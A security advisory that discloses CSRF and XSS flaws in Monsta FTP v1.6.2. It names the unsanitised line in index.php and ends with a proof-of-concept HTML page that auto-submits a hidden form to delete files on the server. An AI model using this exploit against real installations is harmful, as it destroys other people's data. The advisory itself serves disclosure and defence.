Vendor:
================================
www.monstaftp.com



Product:
================================
monsta_ftp_v1.6.2
Monsta FTP is open source PHP/Ajax cloudware browser based
FTP file management web application.


Vulnerability Type:
===================
CSRF / XSS



CVE Reference:
==============
N/A




Vulnerability Details:
=====================

CSRF:
-----
No CSRF token exists when making some POST requests, allowing arbitrary
deletion of files on the monstaftp server dirs.


XSS:
----

Monstaftp sanitizes most $_GET requests with call to sanitizeStr() e.g --> echo sanitizeStr($ftp_host),
However we find vulnerable code that is not santized on line 494 of index.php ---> echo $_GET["openFolder"];
creating an XSS entry point and will execute when victim accesses the Monstaftp login page before logging in.



Exploit code(s):
===============

1) CSRF delete all server files

<body onLoad="doit()">

<script>
function doit(){
var e=document.getElementById('HELL')
e.submit()
}

<form id="HELL" action="http://localhost/monsta_ftp_v1.6.2_install/?" method="post">
<input type="text" id="ftpAction" name="ftpAction" value="delete"/>
<input type="text" id="folderAction[]" name="folderAction[]" value=""/>
<input type="text" id="fileAction[]" name="fileAction[]" value="~%2FSOMEFILES_TO_DELETE.php"/>
</form>
